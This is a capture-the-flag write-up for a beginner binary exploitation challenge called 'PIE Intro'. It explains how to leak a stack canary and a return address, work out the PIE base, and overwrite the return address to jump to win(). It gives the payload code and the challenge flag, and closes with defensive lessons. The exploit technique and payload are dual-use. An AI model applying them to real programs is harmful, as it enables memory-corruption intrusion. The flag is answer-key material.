Binary Exploitation
Medium
200 points
PIE Intro
Recuite 2025 - HCMUS
6 tháng 10, 2025
PIE
ASLR
Information Leak
Base Calculation

Binary Exploitation
PIE Intro - Writeup
Challenge Information
- Category: Pwn
- Difficulty: Beginner
- Protections: Full (PIE, NX, Canary, RELRO, SHSTK, IBT)
Analysis
PIE (Position Independent Executable)
All addresses are randomized (ASLR) but relative offsets remain fixed — meaning the distance (offset) between functions/points in the binary file does not change.
Stack Dump Reveal
Stack dump shows:
- Buffer content
- Canary at offset
0x18 - Saved RBP
- Return address at offset
0x28← This is the key!
Stack Layout
[rbp-0x20] buffer[0:24] ← scanf writes data here
[rbp-0x08] canary ← must be preserved!
[rbp+0x00] saved rbp
[rbp+0x08] return address ← leaked! Points to main+0x12
Leaked Return Address
Return address points to instruction right after call vuln in main():
13e1 <main>:
13ee: call 0x134f <vuln>
13f3: mov eax, 0x0 ← return address points here!
PIE Bypass Technique
Idea: take the leaked address, subtract known offset to calculate PIE base, then add offset of win function to get actual win address.
leaked_ret_addr = 0x6491c35643f3 # From stack dump
ret_offset = 0x13f3 # Known offset in binary
pie_base = leaked_ret_addr - ret_offset
win_addr = pie_base + 0x1229 # Calculate win() address
Exploitation
Payload Structure
payload = b"A" * 0x18 # Fill buffer
payload += p64(canary) # Preserve canary
payload += b"B" * 8 # Saved RBP (doesn't matter)
payload += p64(win_addr) # Return → win()
Parsing Stack Dump (Example)
# Get return address at offset 0x28
match = re.search(rb"\|0x28\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
ret_addr = int(match.group(1), 16)
# Get canary at offset 0x18
match = re.search(rb"\|0x18\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
canary = int(match.group(1), 16)
Address Calculation
RET_ADDR_OFFSET = exe.sym["main"] + 0x12 # = 0x13f3 (known offset)
WIN_OFFSET = exe.sym["win"] # = 0x1229 (win offset)
pie_base = leaked_ret_addr - RET_ADDR_OFFSET
win_addr = pie_base + WIN_OFFSET
Flag
BPCTF{just_leak_the_base_23761d7e6937197aea0f362a955c7dbf}
Key Takeaways
What is PIE?
PIE stands for Position Independent Executable — base of program is loaded randomly each time (ASLR), but:
- Function addresses change every run
- Relative offsets between functions/variables in binary are constant
How to Bypass PIE
To break PIE:
- Leak one code address (e.g. return addr, pointer, resolved GOT entry...)
- Calculate PIE base = leaked_addr - known_offset
- Calculate target address = pie_base + target_offset
Defense in Depth
- PIE alone is not enough (broken if code address leaked).
- Canary alone is not enough if canary leaked.
- PIE + Canary can still be bypassed if information leak exists.
- Real defense: prevent sensitive information leaks (stack dump, printf stack content, etc.).
Lessons
- PIE prevents nothing if attacker has address leak.
- Stack dumps (or any info leak) are extremely dangerous.
- ASLR/PIE only randomizes base — fixed offsets allow recalculation after leak.
- A single leak error can collapse multiple layers of defense.
200
Points
Medium
Difficulty
Binary Exploitation
Category